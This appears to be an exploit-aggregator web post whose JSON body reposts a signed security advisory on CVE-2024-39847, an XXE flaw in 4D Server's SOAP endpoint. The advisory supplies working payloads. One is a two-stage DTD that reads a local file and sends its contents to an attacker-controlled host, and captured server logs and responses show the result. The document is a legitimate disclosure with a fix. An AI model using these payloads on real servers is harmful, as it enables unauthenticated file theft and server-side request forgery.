{"id":55365,"date":"2026-05-18T15:32:12","date_gmt":"2026-05-18T15:32:12","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=55365"},"modified":"2026-05-18T15:32:12","modified_gmt":"2026-05-18T15:32:12","slug":"4d-server-server-side-request-forgery-arbitrary-file-read","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=55365","title":{"rendered":"\ud83d\udcc4 4D Server Server-Side Request Forgery \/ Arbitrary File Read_PACKETSTORM:221283"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-18T20:00:05&#8243;,&#8221;description&#8221;:&#8221;Unauthenticated attackers can exploit a weakness in the XML parser functionality of the SOAP endpoints in 4D server. This allows them to obtain read access to files on the application server and adjacent network shares, and perform HTTP GET requests to&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-18T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-18T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 4D Server Server-Side Request Forgery \/ Arbitrary File Read&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:221283&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2024-39847&#8243;],&#8221;sourceData&#8221;:&#8221;&#8212;&#8211;BEGIN PGP SIGNED MESSAGE&#8212;&#8211;\\n    Hash: SHA512\\n    \\n    Arbitrary File Read and Server Side Request Forgery via XML External \\n    Entities in 4D Server\\n    SOAP\\n    ===============================================================================================\\n    \\n    Unauthenticated attackers can exploit a weakness in the XML parser \\n    functionality of the\\n    SOAP endpoints in 4D server. This allows them to obtain read access to \\n    files on the\\n    application server and adjacent network shares, and perform HTTP GET \\n    requests to arbitrary\\n    services.\\n    \\n    Metadata\\n    ========\\n    \\n    &#8211; &#8211; Affected product: 4D Server\\n    &#8211; &#8211; Affected version: v20 R3\\n    &#8211; &#8211; Vendor: 4D\\n    &#8211; &#8211; Problem type(s): CWE-611 Improper Restriction of XML External Entity \\n    Reference\\n    &#8211; &#8211; CVE ID: CVE-2024-39847\\n    &#8211; &#8211; CVE URL: https:\/\/www.cve.org\/CVERecord?id=CVE-2024-39847\\n    &#8211; &#8211; CVSS 4.0 score: 8.7\\n    &#8211; &#8211; Advisory URL: https:\/\/www.schutzwerk.com\/en\/blog\/schutzwerk-sa-2024-002\/\\n    \\n    Details\\n    =======\\n    \\n    During a recent external penetration test, an application based on the \\n    4D development\\n    platform[0] was examined. 4D Server is a component of the 4D suite, and \\n    acts as the\\n    database and application server, serving mobile and desktop clients. \\n    SCHUTZWERK identified\\n    an arbitrary file read vulnerability via XML external entities in the \\n    SOAP endpoint(s) of\\n    4D Server.\\n    \\n    Sending the following payload to the \/4DSOAP endpoint showed that the \\n    application\\n    processes external XML entities, as requests were observed on the attack \\n    server:\\n    \\n    \\u003c!DOCTYPE foo [\\n     \\u003c!ENTITY % test SYSTEM \\&#8221;http:\/\/attacker.tld\\&#8221;\\u003e\\n     %test;\\n    ]\\u003e\\n    \\n    After setting up a local 4D Server instance, SCHUTZWERK was able to \\n    confirm that the\\n    vulnerability is present in the latest version of 4D Server (20 R3 at \\n    the time of\\n    writing). Additionally, SCHUTZWERK found that the vulnerability is \\n    exploitable even if\\n    \\&#8221;Reject SOAP-Requests\\&#8221; is set in the 4D Server GUI.\\n    \\n    Further testing revealed that a combination of error-based and \\n    out-of-band exfiltration\\n    techniques can be utilized to read arbitrary files on the application \\n    servers&#8217; file system\\n    and adjacent network shares, as well as performing HTTP requests to \\n    arbitrary URLs. This\\n    requires the use of a Document Type Definition (DTD) file loaded from an \\n    attacker\\n    controlled server, and can be demonstrated using the following payloads:\\n    \\n    Stage 1: XML body sent to the \/4DSOAP endpoint\\n    \\n    \\u003c?xml version=\\&#8221;1.0\\&#8221; encoding=\\&#8221;UTF-8\\&#8221;?\\u003e\\n    \\u003c!DOCTYPE foo [\\n      \\u003c!ENTITY % stage1 SYSTEM \\&#8221;http:\/\/192.168.56.1:2121\/stage.dtd\\&#8221;\\u003e\\n      %stage1;\\n    ]\\u003e\\n    \\n    Stage 2: DTD file returned by http:\/\/192.168.56.1:2121\/stage.dtd\\n    \\n    \\u003c!ENTITY % fileb SYSTEM \\&#8221;file:\/\/\/c:\\\\Users\\\\john.doe\\\\Desktop\\\\secret.txt\\&#8221;\\u003e\\n    \\u003c!ENTITY % eval \\&#8221;\\u003c!ENTITY \\u0026#x25; exfiltrate SYSTEM &#8216;%fileb;&#8217;\\u003e\\&#8221;\\u003e\\n    %eval;\\n    %exfiltrate;\\n    \\n    Server response for the request sent to the \/4DSOAP endpoint:\\n    \\n    \\u003c?xml version=\\&#8221;1.0\\&#8221; encoding=\\&#8221;UTF-8\\&#8221; ?\\u003e\\n    \\u003cSOAP-ENV:Envelope \\n    SOAP-ENV:encodingStyle=\\&#8221;http:\/\/schemas.xmlsoap.org\/soap\/encoding\/\\&#8221; \\n    xmlns:SOAP-ENV=\\&#8221;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\\&#8221; \\n    xmlns:SOAP-ENC=\\&#8221;http:\/\/schemas.xmlsoap.org\/soap\/encoding\/\\&#8221; \\n    xmlns:xsd=\\&#8221;http:\/\/www.w3.org\/2001\/XMLSchema\\&#8221; \\n    xmlns:xsi=\\&#8221;http:\/\/www.w3.org\/2001\/XMLSchema-instance\\&#8221;\\u003e\\n    \\u003cSOAP-ENV:Body\\u003e\\n            \\u003cSOAP-ENV:Fault\\u003e\\n                    \\u003cfaultcode\\u003eSOAP-ENV:Client\\u003c\/faultcode\\u003e\\n                    \\u003cfaultstring\\u003eerror at line 6, column 1: invalid \\n    document structure\\n    \\u003c\/faultstring\\u003e\\n            \\u003c\/SOAP-ENV:Fault\\u003e\\n    \\u003c\/SOAP-ENV:Body\\u003e\\n    \\u003c\/SOAP-ENV:Envelope\\u003e\\n    \\n    Requests sent to the attacker controlled server (192.168.56.1:2121):\\n    \\n    192.168.56.114 &#8211; &#8211; \\&#8221;GET \/stage.dtd HTTP\/1.1\\&#8221; 200 -\\n    192.168.56.114 &#8211; &#8211; \\&#8221;GET \\n    \/my%20secret%20message%0D%0Ais%20super%20secret%0D%0Aand%20secure \\n    HTTP\/1.1\\&#8221; 200 -\\n    \\n    Depending on the file contents, HTTP requests for the exfiltrate entity \\n    may fail. On the\\n    local test instance of 4D Server (which was set up by creating a new, \\n    empty 4D application\\n    project), this was the case when requesting files containing a hashtag \\n    (#). In this case,\\n    the file contents are instead returned as part of the \/4DSOAP endpoint&#8217;s \\n    response message:\\n    \\n    \\u003c?xml version=\\&#8221;1.0\\&#8221; encoding=\\&#8221;UTF-8\\&#8221; ?\\u003e\\n    \\u003cSOAP-ENV:Envelope \\n    SOAP-ENV:encodingStyle=\\&#8221;http:\/\/schemas.xmlsoap.org\/soap\/encoding\/\\&#8221; \\n    xmlns:SOAP-ENV=\\&#8221;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\\&#8221; \\n    xmlns:SOAP-ENC=\\&#8221;http:\/\/schemas.xmlsoap.org\/soap\/encoding\/\\&#8221; \\n    xmlns:xsd=\\&#8221;http:\/\/www.w3.org\/2001\/XMLSchema\\&#8221; \\n    xmlns:xsi=\\&#8221;http:\/\/www.w3.org\/2001\/XMLSchema-instance\\&#8221;\\u003e\\n    \\u003cSOAP-ENV:Body\\u003e\\n            \\u003cSOAP-ENV:Fault\\u003e\\n                    \\u003cfaultcode\\u003eSOAP-ENV:Client\\u003c\/faultcode\\u003e\\n                    \\u003cfaultstring\\u003eerror at line 5, column 13: unable to open \\n    external entity &#8216;http:\/\/192.168.56.1:2121\/# my secret website\\n    &#8211; &#8211; http:\/secret.tld\/bar&#8217;\\n    \\u003c\/faultstring\\u003e\\n            \\u003c\/SOAP-ENV:Fault\\u003e\\n    \\u003c\/SOAP-ENV:Body\\u003e\\n    \\u003c\/SOAP-ENV:Envelope\\u003e\\n    \\n    For some file contents, exfiltration using these methods will not \\n    succeed. However,\\n    depending on the application, exfiltration could still be achieved \\n    utilizing application\\n    specific SOAP functions accepting data tags.\\n    \\n    The script 4d-xxe.py[1] was developed in order to aid in automated \\n    exploitation. It\\n    utilizes Flask[2] to start an exfiltration server on port 2121, and a \\n    query endpoint on\\n    port 1337. Once started, files can be requested by issuing a GET request to\\n    \\n    http:\/\/127.0.0.1:1337\/\\u003ctarget URI\\u003e\\n    \\n    which will send the appropriate XML payload to obtain the specified \\n    resource:\\n    \\n    $ curl &#8216;127.0.0.1:1337\/http:\/\/192.168.56.114&#8217;\\n    \\u003c?xml version=\\&#8221;1.0\\&#8221; encoding=\\&#8221;UTF-8\\&#8221; ?\\u003e\\n    \\u003cSOAP-ENV:Envelope \\n    SOAP-ENV:encodingStyle=\\&#8221;http:\/\/schemas.xmlsoap.org\/soap\/encoding\/\\&#8221; \\n    xmlns:SOAP-ENV=\\&#8221;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\\&#8221; \\n    xmlns:SOAP-ENC=\\&#8221;http:\/\/schemas.xmlsoap.org\/soap\/encoding\/\\&#8221; \\n    xmlns:xsd=\\&#8221;http:\/\/www.w3.org\/2001\/XMLSchema\\&#8221; \\n    xmlns:xsi=\\&#8221;http:\/\/www.w3.org\/2001\/XMLSchema-instance\\&#8221;\\u003e\\n    \\u003cSOAP-ENV:Body\\u003e\\n            \\u003cSOAP-ENV:Fault\\u003e\\n                    \\u003cfaultcode\\u003eSOAP-ENV:Client\\u003c\/faultcode\\u003e\\n                    \\u003cfaultstring\\u003eerror at line 5, column 13: unable to \\n    connect socket for URL &#8216;http:\/\/192.168.56.1:2121\/\\u003c!DOCTYPE HTML PUBLIC \\n    \\&#8221;-\/\/W3C\/\/DTD HTML 4.01 Transitional\/\/EN\\&#8221; \\n    \\&#8221;http:\/\/www.w3.org\/TR\/html4\/loose.dtd\\&#8221;\\u003e\\n    \\n    \\u003chtml\\u003e\\n    [&#8230;]\\n          \\u003ctd class=\\&#8221;grayborder\\&#8221;\\u003e\\n            \\u003ch2 align=\\&#8221;center\\&#8221;\\u003eWelcome to your 4D Web Server default home\\n              page!\\u003c\/h2\\u003e\\n            \\u003cp align=\\&#8221;center\\&#8221;\\u003eThis is the \\u003cstrong\\u003e\\u003cb\\u003e4D Web Server\\u003c\/b\\u003e\\u003c\/strong\\u003e\\n              default home page. This \\u003cstrong\\u003etest page\\u003c\/strong\\u003e is served \\n    by 4D\\n              Application.\\u003c\/p\\u003e\\n            \\u003cp align=\\&#8221;center\\&#8221;\\u003eIf you are the webmaster, congratulations! \\n    Your Web\\n              server is up and running. You are seeing this page because \\n    you have\\n              not yet replaced the default \\&#8221;index.html\\&#8221; file with \\n    your actual\\n              home page.\\u003c\/p\\u003e\\n            \\u003cp align=\\&#8221;center\\&#8221;\\u003eInstructions for configuring your 4D Web\\n              Server can be found in the included documentation.\\u003c\/p\\u003e\\n            \\u003cp align=\\&#8221;center\\&#8221;\\u003e\\u003cb\\u003eIMPORTANT\\u003c\/b\\u003e: This Web page or Web site \\n    is neither\\n              owned nor administered by 4D SAS or any of its subsidiaries. \\n    Please contact\\n              the owner\/webmaster of this site to report any problems with \\n    it.\\u003c\/p\\u003e\\n            \\u003cp align=\\&#8221;center\\&#8221;\\u003e\\u0026copy;1995-2024 4D, Inc., 4D SAS and its \\n    Licensors.\\u003cbr\\u003e\\n              All rights reserved.\\u003c\/p\\u003e\\n           \\u003c\/td\\u003e\\n    [&#8230;]\\n    \\u003c\/html\\u003e\\n    &#8216;\\n    \\u003c\/faultstring\\u003e\\n    \\u003c\/SOAP-ENV:Fault\\u003e\\n    \\u003c\/SOAP-ENV:Body\\u003e\\n    \\u003c\/SOAP-ENV:Envelope\\u003e\\n    \\n    This enables the use of any web directory enumeration tool to exfiltrate \\n    files and\/or\\n    perform \\&#8221;proxied\\&#8221; HTTP requests.\\n    \\n    Risk\\n    ====\\n    \\n    An attacker can use the vulnerability to gather information and, \\n    depending on the stored\\n    data, exfiltrate secrets from the file system and adjacent SMB shares. \\n    Furthermore, HTTP\\n    requests can be used for out-of-band exfiltration and server-side \\n    request forgery (SSRF)\\n    attacks. Utilizing the SMB protocol could also lead to leakage of the \\n    user&#8217;s NTLM or SSP\\n    hash.\\n    \\n    Solution\/Mitigation\\n    ===================\\n    \\n    Update to 4D Server 20 R7 or higher.\\n    \\n    Timeline\\n    ========\\n    \\n    &#8211; &#8211; 2024-06-17 Vulnerability discovered\\n    &#8211; &#8211; 2024-06-24 Attempt to contact vendor, no response received\\n    &#8211; &#8211; 2024-06-25 CVE ID requested\\n    &#8211; &#8211; 2024-06-29 CVE-2024-39847 assigned\\n    &#8211; &#8211; 2024-07-04 Attempt to contact vendor again, no response received\\n    &#8211; &#8211; 2024-07-09 Attempt to contact vendor again, no response received\\n    &#8211; &#8211; 2024-07-16 Attempt to contact vendor again, no response received\\n    &#8211; &#8211; 2024-07-22 Attempt to contact vendor again, no response received\\n    &#8211; &#8211; 2026-04-29 Advisory published\\n    \\n    Credits\\n    =======\\n    \\n    The vulnerability was discovered by Marcelo Reyes of SCHUTZWERK GmbH.\\n    \\n    Footnotes\\n    =========\\n    \\n    [0] https:\/\/4d.com\\n    [1] https:\/\/www.schutzwerk.com\/blog\/schutzwerk-sa-2024-002\/4d-xxe.py\\n    [2] https:\/\/flask.palletsprojects.com\/en\/stable\/\\n    &#8212;&#8211;BEGIN PGP SIGNATURE&#8212;&#8211;\\n    \\n    iQJOBAEBCgA4FiEEgLsg7Oj\/wY3LSF87GrXfkTIXLrsFAmnyGKIaHGFkdmlzb3Jp\\n    ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrs6TQ\/\/Vp4Ts1sg8wUOx5V46ttU\\n    OkErEUSrMqHDCrxiLKLsYoBBXyqPB+oKLzWFkMTUxbq+W7aqJIVG6EMeBsu1FCae\\n    0JfGA0MYYJ4s7WcphN\/QqqU+e35r0NfPAzcKlr861ZNcwcy9vbg\/WP+z1AlTfH9X\\n    MBKtv4Z2R1xpFq2sAJnwOw3E7Cl5g40PSsTJhI52\/O7M4K5rB14EjFXW\/hHgSFNz\\n    ESUI+o\/U1t7nPDulxfSsVmvbDTuvmxrs1xM\/ulMYoKFKSueEglNCmF+5i\/lFs7LF\\n    rM0PZLGCbMR9z2NOeEk+dGwCztXpY2KN1KvPWYt4flvxZzlnWFWCzrVog8QdDhbV\\n    CAfeLi+5krzgsZIPfphYpHc2BYJdAGsHDZx76GxoMNi8\/miHX15+vg3N7SBPopOG\\n    aIWnPJX0LCoecdzELJhzpOSYpzLTurRKnPU6y4sa\/gJN4K99gCbE2HpPIJRaJmJG\\n    hk7iwTUA11ijiEWpKCWX3hE3dhxY9WgKKoKe\/CtGZkaEoEa1ePTPUFWhiwORpSsa\\n    AV3i7YZOgjBiEj4ffBfy+Z\/3fHhR7S3fWpFUhWeyb2jjx6OuJSG4g9az6Uze0hZG\\n    vYn40CIpG2sHlm1PzQBzMUopqjmaW+FMyLgv8XOsnfdqg7UqPJ0LKmNAtafO1tVo\\n    HH0qazSkyWNwZlaLr5YYUso=\\n    =MhKk\\n    &#8212;&#8211;END PGP SIGNATURE&#8212;&#8211;\\n    \\n    \\n    &#8212; \\n    SCHUTZWERK GmbH, Pfarrer-Wei\u00df-Weg 12, 89077 Ulm, Germany\\n    Zertifiziert \/ Certified ISO 27001, 9001 and TISAX\\n    \\n    Phone +49 731 977 191 0\\n    \\n    advisories@schutzwerk.com \/ www.schutzwerk.com\\n    \\n    Gesch\u00e4ftsf\u00fchrer \/ Managing Directors:\\n    Jakob Pietzka, Michael Sch\u00e4fer\\n    \\n    Amtsgericht Ulm \/  HRB 727391\\n    Datenschutz \/ Data Protection www.schutzwerk.com\/datenschutz&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/221283&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:8.7,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:H\/SC:N\/VI:N\/SI:N\/VA:N\/SA:N\/AU:Y&#8221;,&#8221;version&#8221;:&#8221;4.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/221283\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-18T20:00:05&#8243;,&#8221;description&#8221;:&#8221;Unauthenticated attackers can exploit a weakness in the XML parser functionality of the SOAP endpoints in 4D server. This allows them to obtain read access&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,19,12,15,13,53,7,11,5],"class_list":["post-55365","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-87","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 4D Server Server-Side Request Forgery \/ Arbitrary File Read_PACKETSTORM:221283 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=55365\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 4D Server Server-Side Request Forgery \/ Arbitrary File Read_PACKETSTORM:221283 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-18T20:00:05&#8243;,&#8221;description&#8221;:&#8221;Unauthenticated attackers can exploit a weakness in the XML parser functionality of the SOAP endpoints in 4D server. This allows them to obtain read access...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=55365\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-18T15:32:12+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55365#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55365\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 4D Server Server-Side Request Forgery \\\/ Arbitrary File Read_PACKETSTORM:221283\",\"datePublished\":\"2026-05-18T15:32:12+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55365\"},\"wordCount\":2027,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.7\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=55365#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55365\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55365\",\"name\":\"\ud83d\udcc4 4D Server Server-Side Request Forgery \\\/ Arbitrary File Read_PACKETSTORM:221283 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-18T15:32:12+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55365#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=55365\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55365#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 4D Server Server-Side Request Forgery \\\/ Arbitrary File Read_PACKETSTORM:221283\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 4D Server Server-Side Request Forgery \/ Arbitrary File Read_PACKETSTORM:221283 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=55365","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 4D Server Server-Side Request Forgery \/ Arbitrary File Read_PACKETSTORM:221283 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-18T20:00:05&#8243;,&#8221;description&#8221;:&#8221;Unauthenticated attackers can exploit a weakness in the XML parser functionality of the SOAP endpoints in 4D server. This allows them to obtain read access...","og_url":"https:\/\/zero.redgem.net\/?p=55365","og_site_name":"zero redgem","article_published_time":"2026-05-18T15:32:12+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"10 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=55365#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=55365"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 4D Server Server-Side Request Forgery \/ Arbitrary File Read_PACKETSTORM:221283","datePublished":"2026-05-18T15:32:12+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=55365"},"wordCount":2027,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.7","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=55365#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=55365","url":"https:\/\/zero.redgem.net\/?p=55365","name":"\ud83d\udcc4 4D Server Server-Side Request Forgery \/ Arbitrary File Read_PACKETSTORM:221283 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-18T15:32:12+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=55365#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=55365"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=55365#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 4D Server Server-Side Request Forgery \/ Arbitrary File Read_PACKETSTORM:221283"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero 